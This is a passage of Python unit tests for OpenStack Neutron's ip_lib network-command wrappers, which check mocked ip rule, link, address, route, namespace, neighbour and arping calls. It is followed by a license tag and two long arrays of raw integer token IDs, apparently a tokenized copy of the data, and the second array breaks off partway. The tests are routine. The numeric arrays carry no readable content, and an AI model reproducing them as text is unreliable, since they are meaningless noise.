mock.Mock(return_value='executed') self.ip_cmd = ip_lib.IpDeviceCommandBase(self.ip_dev) self.ip_cmd.COMMAND = 'foo' def test_name_property(self): self.assertEqual(self.ip_cmd.name, 'eth0') class TestIPCmdBase(base.BaseTestCase): def setUp(self): super(TestIPCmdBase, self).setUp() self.parent = mock.Mock() self.parent.name = 'eth0' def _assert_call(self, options, args): self.parent.assert_has_calls([ mock.call._run(options, self.command, args)]) def _assert_sudo(self, options, args, use_root_namespace=False): self.parent.assert_has_calls( [mock.call._as_root(options, self.command, args, use_root_namespace=use_root_namespace)]) class TestIpRuleCommand(TestIPCmdBase): def setUp(self): super(TestIpRuleCommand, self).setUp() self.parent._as_root.return_value = '' self.command = 'rule' self.rule_cmd = ip_lib.IpRuleCommand(self.parent) def _test_add_rule(self, ip, table, priority): ip_version = netaddr.IPNetwork(ip).version self.rule_cmd.add(ip, table=table, priority=priority) self._assert_sudo([ip_version], (['show'])) self._assert_sudo([ip_version], ('add', 'from', ip, 'priority', priority, 'table', table)) def _test_add_rule_exists(self, ip, table, priority, output): self.parent._as_root.return_value = output ip_version = netaddr.IPNetwork(ip).version self.rule_cmd.add(ip, table=table, priority=priority) self._assert_sudo([ip_version], (['show'])) def _test_delete_rule(self, ip, table, priority): ip_version = netaddr.IPNetwork(ip).version self.rule_cmd.delete(ip, table=table, priority=priority) self._assert_sudo([ip_version], ('del', 'priority', priority, 'table', table)) def test__parse_line(self): def test(ip_version, line, expected): actual = self.rule_cmd._parse_line(ip_version, line) self.assertEqual(expected, actual) test(4, "4030201:\tfrom 1.2.3.4/24 lookup 10203040", {'from': '1.2.3.4/24', 'table': '10203040', 'priority': '4030201'}) test(6, "1024: from all iif qg-c43b1928-48 lookup noscope", {'priority': '1024', 'from': '::/0', 'iif': 'qg-c43b1928-48', 'table': 'noscope'}) def test_add_rule_v4(self): self._test_add_rule('192.168.45.100', 2, 100) def test_add_rule_v4_exists(self): self._test_add_rule_exists('192.168.45.100', 2, 101, RULE_V4_SAMPLE) def test_add_rule_v6(self): self._test_add_rule('2001:db8::1', 3, 200) def test_add_rule_v6_exists(self): self._test_add_rule_exists('2001:db8::1', 3, 201, RULE_V6_SAMPLE) def test_delete_rule_v4(self): self._test_delete_rule('192.168.45.100', 2, 100) def test_delete_rule_v6(self): self._test_delete_rule('2001:db8::1', 3, 200) class TestIpLinkCommand(TestIPCmdBase): def setUp(self): super(TestIpLinkCommand, self).setUp() self.parent._run.return_value = LINK_SAMPLE[1] self.command = 'link' self.link_cmd = ip_lib.IpLinkCommand(self.parent) def test_set_address(self): self.link_cmd.set_address('aa:bb:cc:dd:ee:ff') self._assert_sudo([], ('set', 'eth0', 'address', 'aa:bb:cc:dd:ee:ff')) def test_set_mtu(self): self.link_cmd.set_mtu(1500) self._assert_sudo([], ('set', 'eth0', 'mtu', 1500)) def test_set_up(self): observed = self.link_cmd.set_up() self.assertEqual(self.parent._as_root.return_value, observed) self._assert_sudo([], ('set', 'eth0', 'up')) def test_set_down(self): observed = self.link_cmd.set_down() self.assertEqual(self.parent._as_root.return_value, observed) self._assert_sudo([], ('set', 'eth0', 'down')) def test_set_netns(self): self.link_cmd.set_netns('foo') self._assert_sudo([], ('set', 'eth0', 'netns', 'foo')) self.assertEqual(self.parent.namespace, 'foo') def test_set_name(self): self.link_cmd.set_name('tap1') self._assert_sudo([], ('set', 'eth0', 'name', 'tap1')) self.assertEqual(self.parent.name, 'tap1') def test_set_alias(self): self.link_cmd.set_alias('openvswitch') self._assert_sudo([], ('set', 'eth0', 'alias', 'openvswitch')) def test_delete(self): self.link_cmd.delete() self._assert_sudo([], ('delete', 'eth0')) def test_address_property(self): self.parent._execute = mock.Mock(return_value=LINK_SAMPLE[1]) self.assertEqual(self.link_cmd.address, 'cc:dd:ee:ff:ab:cd') def test_mtu_property(self): self.parent._execute = mock.Mock(return_value=LINK_SAMPLE[1]) self.assertEqual(self.link_cmd.mtu, 1500) def test_qdisc_property(self): self.parent._execute = mock.Mock(return_value=LINK_SAMPLE[1]) self.assertEqual(self.link_cmd.qdisc, 'mq') def test_qlen_property(self): self.parent._execute = mock.Mock(return_value=LINK_SAMPLE[1]) self.assertEqual(self.link_cmd.qlen, 1000) def test_alias_property(self): self.parent._execute = mock.Mock(return_value=LINK_SAMPLE[1]) self.assertEqual(self.link_cmd.alias, 'openvswitch') def test_state_property(self): self.parent._execute = mock.Mock(return_value=LINK_SAMPLE[1]) self.assertEqual(self.link_cmd.state, 'UP') def test_settings_property(self): expected = {'mtu': 1500, 'qlen': 1000, 'state': 'UP', 'qdisc': 'mq', 'brd': 'ff:ff:ff:ff:ff:ff', 'link/ether': 'cc:dd:ee:ff:ab:cd', 'alias': 'openvswitch'} self.parent._execute = mock.Mock(return_value=LINK_SAMPLE[1]) self.assertEqual(self.link_cmd.attributes, expected) self._assert_call(['o'], ('show', 'eth0')) class TestIpAddrCommand(TestIPCmdBase): def setUp(self): super(TestIpAddrCommand, self).setUp() self.parent.name = 'tap0' self.command = 'addr' self.addr_cmd = ip_lib.IpAddrCommand(self.parent) def test_add_address(self): self.addr_cmd.add('192.168.45.100/24') self._assert_sudo([4], ('add', '192.168.45.100/24', 'scope', 'global', 'dev', 'tap0', 'brd', '192.168.45.255')) def test_add_address_scoped(self): self.addr_cmd.add('192.168.45.100/24', scope='link') self._assert_sudo([4], ('add', '192.168.45.100/24', 'scope', 'link', 'dev', 'tap0', 'brd', '192.168.45.255')) def test_del_address(self): self.addr_cmd.delete('192.168.45.100/24') self._assert_sudo([4], ('del', '192.168.45.100/24', 'dev', 'tap0')) def test_flush(self): self.addr_cmd.flush(6) self._assert_sudo([6], ('flush', 'tap0')) def test_list(self): expected = [ dict(scope='global', dadfailed=False, tentative=False, dynamic=False, cidr='172.16.77.240/24'), dict(scope='global', dadfailed=False, tentative=False, dynamic=True, cidr='2001:470:9:1224:5595:dd51:6ba2:e788/64'), dict(scope='link', dadfailed=False, tentative=True, dynamic=False, cidr='fe80::3023:39ff:febc:22ae/64'), dict(scope='link', dadfailed=True, tentative=True, dynamic=False, cidr='fe80::3023:39ff:febc:22af/64'), dict(scope='global', dadfailed=False, tentative=False, dynamic=True, cidr='2001:470:9:1224:fd91:272:581e:3a32/64'), dict(scope='global', dadfailed=False, tentative=False, dynamic=True, cidr='2001:470:9:1224:4508:b885:5fb:740b/64'), dict(scope='global', dadfailed=False, tentative=False, dynamic=True, cidr='2001:470:9:1224:dfcc:aaff:feb9:76ce/64'), dict(scope='link', dadfailed=False, tentative=False, dynamic=False, cidr='fe80::dfcc:aaff:feb9:76ce/64')] test_cases = [ADDR_SAMPLE, ADDR_SAMPLE2] for test_case in test_cases: self.parent._run = mock.Mock(return_value=test_case) self.assertEqual(expected, self.addr_cmd.list()) self._assert_call([], ('show', 'tap0')) def test_wait_until_address_ready(self): self.parent._run.return_value = ADDR_SAMPLE # this address is not tentative or failed so it should return self.assertIsNone(self.addr_cmd.wait_until_address_ready( '2001:470:9:1224:fd91:272:581e:3a32')) def test_wait_until_address_ready_non_existent_address(self): self.addr_cmd.list = mock.Mock(return_value=[]) with testtools.ExpectedException(ip_lib.AddressNotReady): self.addr_cmd.wait_until_address_ready('abcd::1234') def test_wait_until_address_ready_timeout(self): tentative_address = 'fe80::3023:39ff:febc:22ae' self.addr_cmd.list = mock.Mock(return_value=[ dict(scope='link', dadfailed=False, tentative=True, dynamic=False, cidr=tentative_address + '/64')]) with testtools.ExpectedException(ip_lib.AddressNotReady): self.addr_cmd.wait_until_address_ready(tentative_address, wait_time=1) def test_list_filtered(self): expected = [ dict(scope='global', tentative=False, dadfailed=False, dynamic=False, cidr='172.16.77.240/24')] test_cases = [ADDR_SAMPLE, ADDR_SAMPLE2] for test_case in test_cases: output = '\n'.join(test_case.split('\n')[0:4]) self.parent._run.return_value = output self.assertEqual(self.addr_cmd.list('global', filters=['permanent']), expected) self._assert_call([], ('show', 'tap0', 'permanent', 'scope', 'global')) class TestIpRouteCommand(TestIPCmdBase): def setUp(self): super(TestIpRouteCommand, self).setUp() self.parent.name = 'eth0' self.command = 'route' self.route_cmd = ip_lib.IpRouteCommand(self.parent) self.ip_version = 4 self.table = 14 self.metric = 100 self.cidr = '192.168.45.100/24' self.ip = '10.0.0.1' self.gateway = '192.168.45.100' self.test_cases = [{'sample': GATEWAY_SAMPLE1, 'expected': {'gateway': '10.35.19.254', 'metric': 100}}, {'sample': GATEWAY_SAMPLE2, 'expected': {'gateway': '10.35.19.254', 'metric': 100}}, {'sample': GATEWAY_SAMPLE3, 'expected': None}, {'sample': GATEWAY_SAMPLE4, 'expected': {'gateway': '10.35.19.254'}}, {'sample': GATEWAY_SAMPLE5, 'expected': {'gateway': '192.168.99.1'}}, {'sample': GATEWAY_SAMPLE6, 'expected': {'gateway': '192.168.99.1', 'metric': 100}}, {'sample': GATEWAY_SAMPLE7, 'expected': {'metric': 1}}] def test_add_gateway(self): self.route_cmd.add_gateway(self.gateway, self.metric, self.table) self._assert_sudo([self.ip_version], ('replace', 'default', 'via', self.gateway, 'metric', self.metric, 'dev', self.parent.name, 'table', self.table)) def test_add_gateway_subtable(self): self.route_cmd.table(self.table).add_gateway(self.gateway, self.metric) self._assert_sudo([self.ip_version], ('replace', 'default', 'via', self.gateway, 'metric', self.metric, 'dev', self.parent.name, 'table', self.table)) def test_del_gateway_success(self): self.route_cmd.delete_gateway(self.gateway, table=self.table) self._assert_sudo([self.ip_version], ('del', 'default', 'via', self.gateway, 'dev', self.parent.name, 'table', self.table)) def test_del_gateway_success_subtable(self): self.route_cmd.table(table=self.table).delete_gateway(self.gateway) self._assert_sudo([self.ip_version], ('del', 'default', 'via', self.gateway, 'dev', self.parent.name, 'table', self.table)) def test_del_gateway_cannot_find_device(self): self.parent._as_root.side_effect = RuntimeError("Cannot find device") exc = self.assertRaises(exceptions.DeviceNotFoundError, self.route_cmd.delete_gateway, self.gateway, table=self.table) self.assertIn(self.parent.name, str(exc)) def test_del_gateway_other_error(self): self.parent._as_root.side_effect = RuntimeError() self.assertRaises(RuntimeError, self.route_cmd.delete_gateway, self.gateway, table=self.table) def test_get_gateway(self): for test_case in self.test_cases: self.parent._run = mock.Mock(return_value=test_case['sample']) self.assertEqual(self.route_cmd.get_gateway(), test_case['expected']) def test_pullup_route(self): # NOTE(brian-haley) Currently we do not have any IPv6-specific usecase # for pullup_route, hence skipping. Revisit, if required, in future. if self.ip_version == 6: return # interface is not the first in the list - requires # deleting and creating existing entries output = [DEVICE_ROUTE_SAMPLE, SUBNET_SAMPLE1] def pullup_side_effect(self, *args): result = output.pop(0) return result self.parent._run = mock.Mock(side_effect=pullup_side_effect) self.route_cmd.pullup_route('tap1d7888a7-10', ip_version=4) self._assert_sudo([4], ('del', '10.0.0.0/24', 'dev', 'qr-23380d11-d2')) self._assert_sudo([4], ('append', '10.0.0.0/24', 'proto', 'kernel', 'src', '10.0.0.1', 'dev', 'qr-23380d11-d2')) def test_pullup_route_first(self): # NOTE(brian-haley) Currently we do not have any IPv6-specific usecase # for pullup_route, hence skipping. Revisit, if required, in future. if self.ip_version == 6: return # interface is first in the list - no changes output = [DEVICE_ROUTE_SAMPLE, SUBNET_SAMPLE2] def pullup_side_effect(self, *args): result = output.pop(0) return result self.parent._run = mock.Mock(side_effect=pullup_side_effect) self.route_cmd.pullup_route('tap1d7888a7-10', ip_version=4) # Check two calls - device get and subnet get self.assertEqual(len(self.parent._run.mock_calls), 2) def test_add_route(self): self.route_cmd.add_route(self.cidr, self.ip, self.table) self._assert_sudo([self.ip_version], ('replace', self.cidr, 'via', self.ip, 'dev', self.parent.name, 'table', self.table)) def test_delete_route(self): self.route_cmd.delete_route(self.cidr, self.ip, self.table) self._assert_sudo([self.ip_version], ('del', self.cidr, 'via', self.ip, 'dev', self.parent.name, 'table', self.table)) def test_list_onlink_routes_subtable(self): self.parent._run.return_value = ( "10.0.0.0/22\n" "172.24.4.0/24 proto kernel src 172.24.4.2\n") routes = self.route_cmd.table(self.table).list_onlink_routes( self.ip_version) self.assertEqual(['10.0.0.0/22'], routes) self._assert_call([self.ip_version], ('list', 'dev', self.parent.name, 'scope', 'link', 'table', self.table)) def test_add_onlink_route_subtable(self): self.route_cmd.table(self.table).add_onlink_route(self.cidr) self._assert_sudo([self.ip_version], ('replace', self.cidr, 'dev', self.parent.name, 'scope', 'link', 'table', self.table)) def test_delete_onlink_route_subtable(self): self.route_cmd.table(self.table).delete_onlink_route(self.cidr) self._assert_sudo([self.ip_version], ('del', self.cidr, 'dev', self.parent.name, 'scope', 'link', 'table', self.table)) class TestIPv6IpRouteCommand(TestIpRouteCommand): def setUp(self): super(TestIPv6IpRouteCommand, self).setUp() self.ip_version = 6 self.cidr = '2001:db8::/64' self.ip = '2001:db8::100' self.gateway = '2001:db8::1' self.test_cases = [{'sample': IPv6_GATEWAY_SAMPLE1, 'expected': {'gateway': '2001:470:9:1224:4508:b885:5fb:740b', 'metric': 100}}, {'sample': IPv6_GATEWAY_SAMPLE2, 'expected': {'gateway': '2001:470:9:1224:4508:b885:5fb:740b', 'metric': 100}}, {'sample': IPv6_GATEWAY_SAMPLE3, 'expected': None}, {'sample': IPv6_GATEWAY_SAMPLE4, 'expected': {'gateway': 'fe80::dfcc:aaff:feb9:76ce'}}, {'sample': IPv6_GATEWAY_SAMPLE5, 'expected': {'gateway': '2001:470:9:1224:4508:b885:5fb:740b', 'metric': 1024}}] class TestIpNetnsCommand(TestIPCmdBase): def setUp(self): super(TestIpNetnsCommand, self).setUp() self.command = 'netns' self.netns_cmd = ip_lib.IpNetnsCommand(self.parent) def test_add_namespace(self): with mock.patch('neutron.agent.common.utils.execute') as execute: ns = self.netns_cmd.add('ns') self._assert_sudo([], ('add', 'ns'), use_root_namespace=True) self.assertEqual(ns.namespace, 'ns') execute.assert_called_once_with( ['ip', 'netns', 'exec', 'ns', 'sysctl', '-w', 'net.ipv4.conf.all.promote_secondaries=1'], run_as_root=True, check_exit_code=True, extra_ok_codes=None) def test_delete_namespace(self): with mock.patch('neutron.agent.common.utils.execute'): self.netns_cmd.delete('ns') self._assert_sudo([], ('delete', 'ns'), use_root_namespace=True) def test_namespace_exists_use_helper(self): self.config(group='AGENT', use_helper_for_ns_read=True) retval = '\n'.join(NETNS_SAMPLE) # need another instance to avoid mocking netns_cmd = ip_lib.IpNetnsCommand(ip_lib.SubProcessBase()) with mock.patch('neutron.agent.common.utils.execute') as execute: execute.return_value = retval self.assertTrue( netns_cmd.exists('bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb')) execute.assert_called_once_with(['ip', '-o', 'netns', 'list'], run_as_root=True, log_fail_as_error=True) def test_namespace_doest_not_exist_no_helper(self): self.config(group='AGENT', use_helper_for_ns_read=False) retval = '\n'.join(NETNS_SAMPLE) # need another instance to avoid mocking netns_cmd = ip_lib.IpNetnsCommand(ip_lib.SubProcessBase()) with mock.patch('neutron.agent.common.utils.execute') as execute: execute.return_value = retval self.assertFalse( netns_cmd.exists('bbbbbbbb-1111-2222-3333-bbbbbbbbbbbb')) execute.assert_called_once_with(['ip', '-o', 'netns', 'list'], run_as_root=False, log_fail_as_error=True) def test_execute(self): self.parent.namespace = 'ns' with mock.patch('neutron.agent.common.utils.execute') as execute: self.netns_cmd.execute(['ip', 'link', 'list']) execute.assert_called_once_with(['ip', 'netns', 'exec', 'ns', 'ip', 'link', 'list'], run_as_root=True, check_exit_code=True, extra_ok_codes=None) def test_execute_env_var_prepend(self): self.parent.namespace = 'ns' with mock.patch('neutron.agent.common.utils.execute') as execute: env = dict(FOO=1, BAR=2) self.netns_cmd.execute(['ip', 'link', 'list'], env) execute.assert_called_once_with( ['ip', 'netns', 'exec', 'ns', 'env'] + ['%s=%s' % (k, v) for k, v in env.items()] + ['ip', 'link', 'list'], run_as_root=True, check_exit_code=True, extra_ok_codes=None) def test_execute_nosudo_with_no_namespace(self): with mock.patch('neutron.agent.common.utils.execute') as execute: self.parent.namespace = None self.netns_cmd.execute(['test']) execute.assert_called_once_with(['test'], check_exit_code=True, extra_ok_codes=None, run_as_root=False) class TestDeviceExists(base.BaseTestCase): def test_device_exists(self): with mock.patch.object(ip_lib.IPDevice, '_execute') as _execute: _execute.return_value = LINK_SAMPLE[1] self.assertTrue(ip_lib.device_exists('eth0')) _execute.assert_called_once_with(['o'], 'link', ('show', 'eth0'), log_fail_as_error=False) def test_device_does_not_exist(self): with mock.patch.object(ip_lib.IPDevice, '_execute') as _execute: _execute.return_value = '' _execute.side_effect = RuntimeError self.assertFalse(ip_lib.device_exists('eth0')) def test_ensure_device_is_ready(self): ip_lib_mock = mock.Mock() with mock.patch.object(ip_lib, 'IPDevice', return_value=ip_lib_mock): self.assertTrue(ip_lib.ensure_device_is_ready("eth0")) self.assertTrue(ip_lib_mock.link.set_up.called) ip_lib_mock.reset_mock() # device doesn't exists ip_lib_mock.link.set_up.side_effect = RuntimeError self.assertFalse(ip_lib.ensure_device_is_ready("eth0")) class TestIpNeighCommand(TestIPCmdBase): def setUp(self): super(TestIpNeighCommand, self).setUp() self.parent.name = 'tap0' self.command = 'neigh' self.neigh_cmd = ip_lib.IpNeighCommand(self.parent) def test_add_entry(self): self.neigh_cmd.add('192.168.45.100', 'cc:dd:ee:ff:ab:cd') self._assert_sudo([4], ('replace', '192.168.45.100', 'lladdr', 'cc:dd:ee:ff:ab:cd', 'nud', 'permanent', 'dev', 'tap0')) def test_delete_entry(self): self.neigh_cmd.delete('192.168.45.100', 'cc:dd:ee:ff:ab:cd') self._assert_sudo([4], ('del', '192.168.45.100', 'lladdr', 'cc:dd:ee:ff:ab:cd', 'dev', 'tap0')) def test_flush(self): self.neigh_cmd.flush(4, '192.168.0.1') self._assert_sudo([4], ('flush', 'to', '192.168.0.1')) class TestArpPing(TestIPCmdBase): @mock.patch.object(ip_lib, 'IPWrapper') @mock.patch('eventlet.spawn_n') def test_send_ipv4_addr_adv_notif(self, spawn_n, mIPWrapper): spawn_n.side_effect = lambda f: f() ARPING_COUNT = 3 address = '20.0.0.1' config = mock.Mock() config.send_arp_for_ha = ARPING_COUNT ip_lib.send_ip_addr_adv_notif(mock.sentinel.ns_name, mock.sentinel.iface_name, address, config) self.assertTrue(spawn_n.called) mIPWrapper.assert_called_once_with(namespace=mock.sentinel.ns_name) ip_wrapper = mIPWrapper(namespace=mock.sentinel.ns_name) # Just test that arping is called with the right arguments arping_cmd = ['arping', '-A', '-I', mock.sentinel.iface_name, '-c', ARPING_COUNT, '-w', mock.ANY, address] ip_wrapper.netns.execute.assert_any_call(arping_cmd, check_exit_code=True) @mock.patch('eventlet.spawn_n') def test_no_ipv6_addr_notif(self, spawn_n): ipv6_addr = 'fd00::1' config = mock.Mock() config.send_arp_for_ha = 3 ip_lib.send_ip_addr_adv_notif(mock.sentinel.ns_name, mock.sentinel.iface_name, ipv6_addr, config) self.assertFalse(spawn_n.called) class TestAddNamespaceToCmd(base.BaseTestCase): def test_add_namespace_to_cmd_with_namespace(self): cmd = ['ping', '8.8.8.8'] self.assertEqual(['ip', 'netns', 'exec', 'tmp'] + cmd, ip_lib.add_namespace_to_cmd(cmd, 'tmp')) def test_add_namespace_to_cmd_without_namespace(self): cmd = ['ping', '8.8.8.8'] self.assertEqual(cmd, ip_lib.add_namespace_to_cmd(cmd, None))
apache-2.0
[ 3, 1898, 6029, 14260, 2752, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 1683, 199, 646, 25798, 199, 646, 30741, 199, 199, 504, 8224, 14, 4054, 14, 2330, 492, 3778, 221, 327, 8151, 199, 504, 8224, 14, 4054, 14, 5135, 492, 3384, 63, 773, 199, 504, 8224, 14, 2330, 492, 4967, 199, 504, 8224, 14, 2219, 492, 1300, 199, 199, 7278, 2709, 63, 15827, 275, 359, 272, 283, 19542, 13, 4321, 13, 12970, 13, 13591, 13, 21515, 371, 297, 272, 283, 31703, 13, 14923, 13, 14923, 13, 14923, 13, 31703, 14923, 297, 272, 283, 27817, 13, 13720, 13, 13720, 13, 13720, 13, 27817, 13720, 418, 199, 199, 7916, 63, 15827, 275, 359, 272, 283, 17, 26, 560, 26, 665, 26573, 7111, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 30380, 1344, 1894, 6409, 949, 1825, 1174, 24740, 971, 3985, 272, 283, 1073, 15, 23983, 8733, 26, 383, 26, 383, 26, 383, 26, 383, 26, 383, 330, 6883, 8733, 26, 383, 26, 383, 26, 383, 26, 383, 26, 383, 8023, 10840, 24180, 378, 297, 272, 283, 18, 26, 16227, 16, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 19539, 1174, 7215, 283, 272, 283, 81, 552, 5198, 60, 259, 2142, 15, 27732, 7429, 26, 617, 26, 1024, 26, 556, 26, 371, 26, 2866, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 7, 272, 1557, 259, 5162, 1551, 23201, 297, 272, 283, 19, 26, 11665, 13, 442, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 30, 28270, 24970, 1894, 6409, 29689, 1174, 10163, 283, 272, 1557, 259, 2142, 15, 27732, 18319, 26, 2501, 26, 2055, 26, 617, 26, 1024, 26, 556, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 8023, 10840, 24180, 378, 297, 272, 283, 20, 26, 22192, 13, 617, 67, 31462, 1587, 13, 1887, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 30, 28270, 24970, 1894, 6409, 29689, 283, 272, 283, 929, 10163, 971, 259, 2142, 15, 27732, 1964, 26, 3833, 26, 2470, 26, 771, 26, 3833, 26, 2470, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 283, 272, 283, 12741, 10840, 24180, 378, 297, 272, 283, 21, 26, 3925, 26, 1421, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 19539, 1174, 283, 272, 283, 2160, 1894, 552, 5198, 60, 259, 2142, 15, 27732, 7429, 26, 617, 26, 1024, 26, 556, 26, 371, 26, 2866, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 283, 272, 283, 12741, 10840, 24180, 378, 297, 272, 283, 22, 26, 3925, 32, 1421, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 19539, 1174, 283, 272, 283, 2160, 1894, 552, 5198, 60, 259, 2142, 15, 27732, 7429, 26, 617, 26, 1024, 26, 556, 26, 371, 26, 2866, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 283, 272, 283, 12741, 10840, 24180, 378, 297, 272, 283, 23, 26, 3925, 26, 1421, 32, 1421, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 19539, 283, 272, 283, 929, 7215, 1894, 552, 5198, 7, 272, 1557, 259, 2142, 15, 27732, 7429, 26, 617, 26, 1024, 26, 556, 26, 371, 26, 2866, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 8023, 10840, 24180, 378, 297, 272, 283, 24, 26, 3925, 32, 1421, 26, 1421, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 19539, 283, 272, 283, 929, 7215, 1894, 552, 5198, 7, 272, 1557, 259, 2142, 15, 27732, 7429, 26, 617, 26, 1024, 26, 556, 26, 371, 26, 2866, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 8023, 10840, 24180, 378, 297, 272, 283, 25, 26, 4681, 14, 25, 32, 12391, 16, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 283, 272, 283, 949, 1825, 5288, 330, 5098, 16, 66, 1194, 16564, 67, 13, 1780, 1174, 7215, 818, 6186, 7, 272, 1557, 259, 2142, 15, 27732, 2236, 26, 966, 26, 1887, 26, 66, 22, 26, 371, 26, 65, 16, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 8023, 10840, 24180, 378, 7, 272, 1557, 259, 10119, 4113, 1695, 996, 14, 17, 81, 1305, 1749, 665, 907, 12125, 63, 40, 4564, 4206, 272, 283, 709, 26, 4681, 32, 12391, 16, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 283, 272, 283, 949, 1825, 5288, 330, 5098, 16, 66, 1194, 16564, 67, 13, 1780, 1174, 7215, 818, 6186, 7, 272, 1557, 259, 2142, 15, 27732, 2236, 26, 966, 26, 1887, 26, 66, 22, 26, 371, 26, 65, 16, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 8023, 10840, 24180, 378, 7, 272, 1557, 259, 10119, 4113, 1695, 996, 14, 17, 49, 1305, 1616, 665, 907, 12125, 63, 40, 4564, 4206, 272, 283, 845, 26, 4681, 26, 1700 ]
[ 1898, 6029, 14260, 2752, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 1683, 199, 646, 25798, 199, 646, 30741, 199, 199, 504, 8224, 14, 4054, 14, 2330, 492, 3778, 221, 327, 8151, 199, 504, 8224, 14, 4054, 14, 5135, 492, 3384, 63, 773, 199, 504, 8224, 14, 2330, 492, 4967, 199, 504, 8224, 14, 2219, 492, 1300, 199, 199, 7278, 2709, 63, 15827, 275, 359, 272, 283, 19542, 13, 4321, 13, 12970, 13, 13591, 13, 21515, 371, 297, 272, 283, 31703, 13, 14923, 13, 14923, 13, 14923, 13, 31703, 14923, 297, 272, 283, 27817, 13, 13720, 13, 13720, 13, 13720, 13, 27817, 13720, 418, 199, 199, 7916, 63, 15827, 275, 359, 272, 283, 17, 26, 560, 26, 665, 26573, 7111, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 30380, 1344, 1894, 6409, 949, 1825, 1174, 24740, 971, 3985, 272, 283, 1073, 15, 23983, 8733, 26, 383, 26, 383, 26, 383, 26, 383, 26, 383, 330, 6883, 8733, 26, 383, 26, 383, 26, 383, 26, 383, 26, 383, 8023, 10840, 24180, 378, 297, 272, 283, 18, 26, 16227, 16, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 19539, 1174, 7215, 283, 272, 283, 81, 552, 5198, 60, 259, 2142, 15, 27732, 7429, 26, 617, 26, 1024, 26, 556, 26, 371, 26, 2866, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 7, 272, 1557, 259, 5162, 1551, 23201, 297, 272, 283, 19, 26, 11665, 13, 442, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 30, 28270, 24970, 1894, 6409, 29689, 1174, 10163, 283, 272, 1557, 259, 2142, 15, 27732, 18319, 26, 2501, 26, 2055, 26, 617, 26, 1024, 26, 556, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 8023, 10840, 24180, 378, 297, 272, 283, 20, 26, 22192, 13, 617, 67, 31462, 1587, 13, 1887, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 30, 28270, 24970, 1894, 6409, 29689, 283, 272, 283, 929, 10163, 971, 259, 2142, 15, 27732, 1964, 26, 3833, 26, 2470, 26, 771, 26, 3833, 26, 2470, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 283, 272, 283, 12741, 10840, 24180, 378, 297, 272, 283, 21, 26, 3925, 26, 1421, 26, 665, 21111, 32215, 12, 8203, 948, 